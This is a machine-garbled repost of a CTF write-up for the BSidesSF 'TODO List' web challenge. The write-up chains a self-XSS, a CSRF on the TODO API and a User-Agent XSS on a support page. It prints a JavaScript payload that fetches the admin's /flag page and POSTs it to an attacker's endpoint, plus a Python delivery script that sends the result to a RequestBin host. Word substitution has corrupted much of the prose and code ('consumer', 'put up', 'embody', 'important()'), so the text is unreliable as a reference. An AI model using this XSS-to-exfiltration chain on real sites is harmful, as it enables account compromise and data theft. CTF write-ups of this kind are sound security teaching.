Saturday, June 11, 2022
HomeOperating SystemTODO Listing · System Overlord

TODO Listing · System Overlord


This yr, I used to be the writer of some of our internet challenges. A type of that
gave each us (as directors) and the gamers just a few difficulties was “TODO
Listing”.

Upon visiting the applying, we see an app with just a few choices, together with
registering, login, and help. Upon registering, we’re offered with an
alternative so as to add TODOs and mark them as completed:

Add TODOs

If we verify robots.txt we uncover a few fascinating entries:

1
2
3
Consumer-agent: *
Disallow: /index.py
Disallow: /flag

Visiting /flag, unsurprisingly, exhibits us an “Entry Denied” error and nothing
additional. Evidently we’ll want to search out some technique to elevate our privileges or
compromise a privileged consumer.

The opposite entry, /index.py, supplies the supply code of the TODO Listing app. A
few fascinating routes bounce out at us, not least of which is the routing for
/flag:

1
2
3
4
5
6
7
8
@app.route('/flag', strategies=['GET'])
@login_required
def flag():
    consumer = Consumer.get_current()
    if not (consumer and consumer.is_admin):
        return 'Entry Denied', 403
    return flask.send_file(
            'flag.txt', mimetype='textual content/plain', as_attachment=True)

We see that we are going to want a consumer flagged with is_admin. There’s no apparent manner
to set this worth on an account. Consumer IDs as saved within the database are primarily based
on a sha256 hash, and the passwords are hashed with argon2. There’s no apparent
technique to login as an administrator right here. There’s an endpoint labeled /api/sso,
but it surely requires an current session.

Wanting on the frontend of the applying, we see a fairly easy Javascript to
load TODOs from the API, add them to the UI, and deal with marking them as completed
on click on. Most of it appears fairly affordable, however there’s a case the place the
TODO is inserted into an HTML string right here:

1
2
3
const rowData = `<td><enter sort="checkbox"></td><td>${knowledge[k].textual content}</td>`;
const row = doc.createElement('tr');
row.innerHTML = rowData;

This appears awfully like an XSS sink, until the server is pre-escaping the
knowledge for us within the API. Straightforward sufficient to check although, we will simply add a TODO
containing <span onclick='alert(1)'>Foobar</span>. We shortly see the span
turn into a part of the DOM and a click on on it will get the alert we’re searching for.

TODOs

At this level, we’re solely capable of get an XSS on ourselves, in any other case referred to as a
“Self-XSS”. This isn’t very thrilling by itself – working a script as ourselves
will not be crossing any privilege boundaries. Possibly we will discover a technique to create a
TODO for an additional consumer?

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route('/api/todos', strategies=['POST'])
@login_required
def api_todos_post():
    consumer = Consumer.get_current()
    if not consumer:
        return '{}'
    todo = flask.request.kind.get("todo")
    if not todo:
        return 'Lacking TODO', 400
    num = consumer.add_todo(todo)
    if num:
        return {'{}'.format(num): todo}
    return 'Too many TODOs', 428

Wanting on the code for making a TODO, it appears fairly clear that it depends upon
the present consumer. The TODOs are saved in Redis as a single hash object per
consumer, so there’s no obvious technique to trick it into storing a TODO for somebody
else. It’s price noting that there’s no obvious safety in opposition to a
Cross-Web site Request Forgery, however
it’s not clear how we may carry out such an assault in opposition to the administrator.

Possibly it’s time to try the Help website. If we go to it, we see not
a lot in any respect however a Login web page. Clicking on Login redirects us by means of the
/api/sso endpoint we noticed earlier than, passing a token within the URL and producing a
new session cookie on the help web page. In contrast to the primary TODO app, no supply
code is to be discovered right here. In truth, the one actual performance is a web page to
“Message Help”.

Submitting a message to help, we get a hyperlink to view our personal message. Within the
web page, we have now our username, our IP, our Consumer-Agent, and our message. Possibly we
can use this for one thing. Inserting an XSS payload in our message doesn’t appear
to get anyplace specifically – nothing is firing, a minimum of after we preview it.
Clearly an IP tackle isn’t going to include a payload both, however we nonetheless
have the username and the Consumer-Agent. The Consumer-Agent is comparatively simply
managed, so we will strive one thing right here. cURL is a straightforward technique to give it a strive,
particularly if we use the developer instruments to repeat our preliminary request for
modification:

1
2
3
4
5
6
7
curl 'https://todolist-support-ebc7039e.challenges.bsidessf.internet/message' 
  -H 'content-type: multipart/form-data; boundary=----WebKitFormBoundaryz4kbBFNL12fwuZ57' 
  -H 'cookie: sup_session=75b212f8-c8e6-49c3-a469-cfc369632c72' 
  -H 'origin: https://todolist-support-ebc7039e.challenges.bsidessf.internet' 
  -H 'referer: https://todolist-support-ebc7039e.challenges.bsidessf.internet/message' 
  -H 'user-agent: <script>alert(1)</script>' 
  --data-raw $'------WebKitFormBoundaryz4kbBFNL12fwuZ57rnContent-Disposition: form-data; identify="issue"rnrn4rn------WebKitFormBoundaryz4kbBFNL12fwuZ57rnContent-Disposition: form-data; identify="message"rnrnfoobarrn------WebKitFormBoundaryz4kbBFNL12fwuZ57rnContent-Disposition: form-data; identify="pow"rnrn1b4849930f5af9171a90fe689edd6d27rn------WebKitFormBoundaryz4kbBFNL12fwuZ57--rn'

Viewing this message, we see our good good friend, the alert field.

Alert 1

Issues are starting to turn into a bit clear now – we’ve found just a few issues.

  1. The flag is probably going on the web page /flag of the TODO checklist supervisor.
  2. Making a TODO checklist entry has no safety in opposition to XSRF.
  3. Rendering a TODO is susceptible to a self-XSS.
  4. Messaging the admin by way of help seems to be susceptible to XSS within the Consumer-Agent.

Because of the Identical-Origin
Coverage
,
the XSS on the help website can’t straight learn the sources from the primary TODO
checklist web page, so we have to do a bit extra right here.

We are able to chain these collectively to (hopefully) retrieve the flag because the admin by
sending a message to the admin that comprises a Consumer-Agent with an XSS payload
that does the next steps:

  1. Makes use of the XSRF to inject a payload (steps 3+) as a brand new XSS.
  2. Redirects the admin to their TODO checklist to set off the XSS payload.
  3. Makes use of the Fetch API (or XHR) to retrieve the flag from /flag.
  4. Makes use of the Fetch API (or XHR) to ship the flag off to an endpoint we management.

One further complication is that <script> tags is not going to be executed if
injected by way of the innerHTML mechanism within the TODO checklist. The explanations are
difficult, however basically:

  • innerHTML is parsed utilizing the algorithm descripted in Parsing HTML
    Fragments

    of the HTML spec.
  • This creates an HTML parser related to a new Doc node.
  • The script node is parsed by this parser, after which inserted into the DOM of
    the dad or mum Doc.
  • Consequently, the parser doc and the aspect doc are completely different,
    stopping
    execution
    .

We are able to work round this through the use of an occasion handler that may hearth asynchronously.
My favourite variant of that is doing one thing like <img src="https://systemoverlord.com/2022/06/09/x"
onerror="alert(1)">
.

I started by making ready the payload I needed to fireplace on todolist-support as an
HTML standalone doc. I included a few variables for the hostnames
concerned.

1
2
3
4
5
6
7
8
9
10
11
12
13
<div id='s2'>
const dest="{{dest}}";
fetch('/flag').then(r => r.textual content()).then(b => fetch(dest, {methodology: 'POST', physique: b}));
</div>
<script>
const ep='{{ep}}';
const s2=doc.getElementById('s2').innerHTML;
const fd=new FormData();
fd.set('todo', '<img src="https://systemoverlord.com/2022/06/09/x" onerror="'+s2+'">');
fetch(ep+'/api/todos',
    {methodology: 'POST', physique: fd, mode: 'no-cors', credentials: 'embody'}).then(
        _ => {doc.location.href = ep + '/todos'});
</script>

I used the DIV s2 to get the escaping proper for the Javascript I needed to
insert into the error handler for the picture. This might be the payload executed
on todolist, whereas the decrease script tag could be executed on
todolist-support. This wasn’t strictly needed, but it surely made experimenting
with the 2nd stage payload simpler.

The todolist-support payload triggers a cross-origin request (therefore the necessity
for mode: 'no-cors' and credentials: 'embody' to the todolist API to
create a brand new TODO. The brand new TODO contained a picture tag with the contents of
s2 because the onerror handler (which might hearth as quickly as rendered).

That javascript first fetched the /flag endpoint, then did a POST to my
vacation spot with the contents of the response.

I constructed a small(ish) python script to ship the payload file, and used
RequestBin to obtain the ultimate flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests
import argparse
import os


def make_email():
    return os.urandom(12).hex() + '@instance.dev'


def register_account(session, server):
    resp = session.put up(server + '/register', knowledge={
        'e-mail': make_email(),
        'password': 'foofoo',
        'password2': 'foofoo'})
    resp.raise_for_status()


def get_support(session, server):
    resp = session.get(server + '/help')
    resp.raise_for_status()
    return resp.url


def post_support_message(session, support_url, payload):
    # first sso
    resp = session.get(support_url + '/message')
    resp.raise_for_status()
    msg = "auto-solution-test"
    pow_value = "c8157e80ff474182f6ece337effe4962"
    knowledge = {"message": msg, "pow": pow_value}
    resp = session.put up(support_url + '/message', knowledge=knowledge,
            headers={'Consumer-Agent': payload})
    resp.raise_for_status()


def important():
    parser = argparse.ArgumentParser()
    parser.add_argument('--requestbin',
            default='https://eo3krwoqalopeel.m.pipedream.internet')
    parser.add_argument('server', default='http://localhost:3123/',
            nargs='?', assist='TODO Server')
    args = parser.parse_args()

    server = args.server
    if server.endswith("https://systemoverlord.com/"):
        server = server[:-1]
    sess = requests.Session()
    register_account(sess, server)
    support_url = get_support(sess, server)
    if support_url.endswith("https://systemoverlord.com/"):
        support_url = support_url[:-1]
    print('Help URL: ', support_url)
    payload = open('payload.html').learn().exchange('n', ' ')
    payload = payload.exchange('{{dest}}', args.requestbin
            ).exchange('{{ep}}', server)
    print('Payload is: ', payload)
    post_support_message(sess, support_url, payload)
    print('Despatched help message.')


if __name__ == '__main__':
    important()

The python takes care of registering an account, redirecting to the help
website, logging in there, then sending the payload within the Consumer-Agent header.
Checking the request bin will (after a handful of seconds) present us the flag.

RELATED ARTICLES

LEAVE A REPLY

Please enter your comment!
Please enter your name here

- Advertisment -
Google search engine

Most Popular

Recent Comments